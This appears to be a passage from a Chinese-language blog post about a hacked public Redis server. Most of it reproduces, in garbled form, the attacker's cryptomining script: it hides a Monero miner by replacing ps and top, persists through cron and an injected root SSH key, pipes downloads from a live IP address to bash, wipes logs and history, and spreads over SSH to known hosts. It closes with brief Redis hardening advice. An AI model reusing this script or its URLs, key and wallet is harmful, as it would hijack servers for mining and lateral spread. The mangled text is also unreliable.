INSING1〕；thenchattrivartmpkinsing2devnull1devnullchmodxvartmpkinsing2devnull1devnullpkillfvartmpkinsing2devnull1devnullkill（psaxgrepvgrepgrepvartmpkinsingawk｛print1｝）2devnull1devnullkill（pidofvartmpkinsing）2devnull1devnullechovartmpkinsing2devnull1devnullrmfvartmpkinsing2devnull1devnullechofuckyouvartmpkinsingchattrivartmpkinsing2devnull1devnullhistoryc2devnull1devnullfiKINSING2（psaxgrepvgrepgreptmpkdevtmpfsi）if〔！zKINSING2〕；thenchattritmpkdevtmpfsi2devnull1devnullchmodxtmpkdevtmpfsi2devnull1devnullpkillftmpkdevtmpfsi2devnull1devnullkill（psaxgrepvgrepgreptmpkdevtmpfsiawk｛print1｝）2devnull1devnullkill（pidoftmpkdevtmpfsi）2devnull1devnullechotmpkdevtmpfsi2devnull1devnullrmftmpkdevtmpfsi2devnull1devnullechofuckyoutmpkdevtmpfsichattritmpkdevtmpfsi2devnull1devnullhistoryc2devnull1devnullfi｝fuckyoudownloads（）｛if〔fusrbincurl〕thenecho1，2httpcodecurlIm50odevnullsw｛httpcode｝1if〔httpcodeeq200〕thencurlconnecttimeout100retry10012elif〔httpcodeeq405〕thencurlconnecttimeout100retry10012elsecurlconnecttimeout100retry10032fielif〔fusrbincd1〕thenhttpcodecd1Im50odevnullsw｛httpcode｝1if〔httpcodeeq200〕thencd1connecttimeout100retry10012elif〔httpcodeeq405〕thencd1connecttimeout100retry10012elsecd1connecttimeout100retry10032fielif〔fusrbinwget〕thenwgettimeout50tries100O21if〔？ne0〕thenwgettimeout100tries100O23fielif〔fusrbinwd1〕thenwd1timeout100tries100O21if〔？eq0〕thenwd1timeout100tries100O23fifi｝unlockcron（）｛chattrRiavarspoolcronchattriaetccrontabchattrRiavarspoolcroncrontabschattrRiaetccron。d｝lockcron（）｛chattrRiavarspoolcronchattriaetccrontabchattrRiavarspoolcroncrontabschattrRiaetccron。d｝if〔frtdir〕thenechoiamrootmkdirproot。sshechogoto1etczzhschattriaetczzhchattriaetcnewinit。shchattriaroot。sshauthorizedkeyschattrRiaroot。sshif〔fbinps。original〕thenechobinpschangedelsemvbinpsbinps。originalecho！binbashbinpsechops。originalgrepvzzhpnscanbinpschmodxbinpstouchd20160825binpsechobinpschangingfiif〔fbintop。original〕thenechobintopchangedelsemvbintopbintop。originalecho！binbashbintopechotop。originalgrepvzzhpnscanbintopchmodxbintoptouchd20160825bintopechobintopchangingfiif〔fbinpstree。original〕thenechobinpstreechangedelsemvbinpstreebinpstree。originalecho！binbashbinpstreeechopstree。originalgrepvzzhpnscanbinpstreechmodxbinpstreetouchd20160825binpstreeechobinpstreechangingfiif〔fbinchattr〕thenchattrsizelslbinchattrawk｛print5｝if〔chattrsizeltchattrsize〕thenyumyremovee2fsprogsyumyinstalle2fsprogselseechononeedinstallchattrfielseyumyremovee2fsprogsyumyinstalle2fsprogsfiunlockcronrmf｛crondir｝rmfetccron。dzzhrmfetccrontabecho30shetcnewinit。shdevnull21｛crondir｝echo40rootshetcnewinit。shdevnull21etccron。dzzhecho01rootshetcnewinit。shdevnull21etccrontabechocrontabcreatedlockcronchmod700root。sshechoroot。sshauthorizedkeyschmod600root。sshauthorizedkeysechosshrsaAAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJNzaDHmCFQMCVn6DlhT8Tj1CcBLouOPpuBVqGoZem9UTsdy563He1cQD6LRA9lgyBO8VBOuyjlPfrdYeXZRv9eFZ4ROGCOXdvNzV9XdEyPXznEL4AS45ko0obSqNGbserHPcKtXBjjcf9zWtRvBA4lteyXENWeCST61OhVI0K7bNTUHsQhFC0rgiGFqVvkIwMVauMxeNd5PjsES4C5P9G8Ynligmdxp7LdOFeb5ViO8eceQsxLyXVCe2Jue5gaaOIbKy2j2HPxj6qK2BUqlxdJdat6HE2HyPWDKD5jPyA5RCSs1zphe7BQjH20cX1nyzbhxNNQncs5BfB0kk2Qcb9ISofX9p8zIVKLUHMUNC9mKqPljzxH3wYnOZrgebS4uwfyad6SQ1oRfs1vWotXxSz1hBjhRPpUqzA7J865AcSOZBaoRsRKZ1BaGMyJyjIfkecFgeDpmbHzOzCjIXAeh20S2wLYZGdrhgVEr0uc1root。sshauthorizedkeyscd1http：195。242。111。238cleanfdacall。txtwgetqOhttp：195。242。111。238cleanfdacall。txtfileetczzhif〔fetczzh〕thenfilesize1lsletczzhawk｛print5｝if〔filesize1neminersize〕thenpkillfzzhrmetczzhdownloadsminerurletczzhminerurlbackupelseechonotneeddownloadfielsedownloadsminerurletczzhminerurlbackupfidownloadsshurletcnewinit。shshurlbackupchmod777etczzhif〔fbinps。original〕thenps。originalfegrepzzhgrepvgrepelsepsfegrepzzhgrepvgrepfiif〔？ne0〕thencdetcechonotrootruningsleep5s。zzhlogfileetcetckeepalivenocolorcpupriority5odev。fugglesoft。me：5443tlsnicehashcoinmoneroo80。211。206。105：9000u88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z。22tlscoinmonerooopn。en2an。top：5443tlsnicehashcoinmonerobackgroundelseechorootruning。。。。。fichmod777etczzhchattriaetczzhchmod777etcnewinit。shchattriaetcnewinit。shchmod600root。sshauthorizedkeyschattriaroot。sshauthorizedkeyselseechogoto1tmpzzhschattriatmpzzhchattriatmpnewinit。shif〔！fusrbincrontab〕thenunlockcronecho30shtmpnewinit。shdevnull21｛crondir｝lockcronelseunlockcron〔〔contnewinit。sh〕〕（echo30shtmpnewinit。shdevnull21）crontablockcronfiif〔ftmpzzh〕thenfilesize1lsltmpzzhawk｛print5｝if〔filesize1neminersize〕thenpkillfzzhrmtmpzzhdownloadsminerurltmpzzhminerurlbackupelseechononeeddownloadfielsedownloadsminerurltmpzzhminerurlbackupfiechoiamheredownloadsshurltmpnewinit。shshurlbackuppsfegrepzzhgrepvgrepif〔？ne0〕thenechonottmpruningcdtmpchmod777zzhsleep5s。zzhlogfiletmptmpkeepalivenocolorcpupriority5odev。fugglesoft。me：5443tlsnicehashcoinmoneroo80。211。206。105：9000u88MjAGcUuFzRM2AaUK1qoj9uTp9VBaFzDDUARzmTZL1XUU3DVVkAtxUUb5sHtFMisnSy5dSLQHfUBVdEVgwuwXm5E7LzQ4z。22tlscoinmonerooopn。en2an。top：5443tlsnicehashcoinmonerobackgroundelseechotmpruning。。。。。fichmod777tmpzzhchattritmpzzhchmod777tmpnewinit。shchattritmpnewinit。shfiiptablesFiptablesXiptablesAOUTPUTptcpdport5555jDROPiptablesAOUTPUTptcpdport7777jDROPiptablesAOUTPUTptcpdport9999jDROPiptablesAOUTPUTptcpdport9999jDROPiptablesAOUTPUTptcpdport10008jDROPserviceiptablesreloadhistorycechovarspoolmailrootechovarlogwtmpechovarlogsecureechoroot。bashhistorychmod444usrbinchattrchmod444binchattryuminstallybash2devnullaptinstallybash2devnullaptgetinstallybash2devnullif〔froot。sshknownhosts〕〔froot。sshidrsa。pub〕；thenforhin（grepoEb（〔09〕｛1，3｝。）｛3｝〔09〕｛1，3｝broot。sshknownhosts）；dosshoBatchModeyesoConnectTimeout5oStrictHostKeyCheckingnohcurlohttp：195。242。111。238cleanfdainit。shbashdevnull21donefiif〔froot。sshknownhosts〕〔froot。sshidrsa。pub〕；thenforhin（grepoEb（〔09〕｛1，3｝。）｛3｝〔09〕｛1，3｝broot。sshknownhosts）；dosshoBatchModeyesoConnectTimeout5oStrictHostKeyCheckingnohcd1ohttp：195。242。111。238cleanfdainit。shbashdevnull21donefiechobbdirechobbdirabbdirfsSLhttp：195。242。111。238cleanfdais。shbashbbdirafsSLhttp：195。242。111。238cleanfdais。shbash预防问题再次出现redis设置密码
　　编辑配置文件vioptmyredisredis。conf
　　设置密码如下：requirepassheikeshizhenqianredis日志文件配置好
　　编辑配置文件vioptmyredisredis。conf
　　配置日志位置：logfileoptmyredislogsredis。log
　　启动redis：redisserveroptmyredisredis。conf安全组开放给指定ip
　　不要在安全组配置0。0。0。00，能确定入方向的ip就一定配置ip，更稳妥的方式是，连同出方向ip也配置好，不能给他们一点机会啊。
　　关于此次的风险问题算是临时解决了，最后我还是决定把我的服务器还原一遍，因为漏洞攻击的有些配置，临时文件还残留在服务器上。
　　最后奉劝大家，公网的redis，一定要设置好密码，且是复杂密码。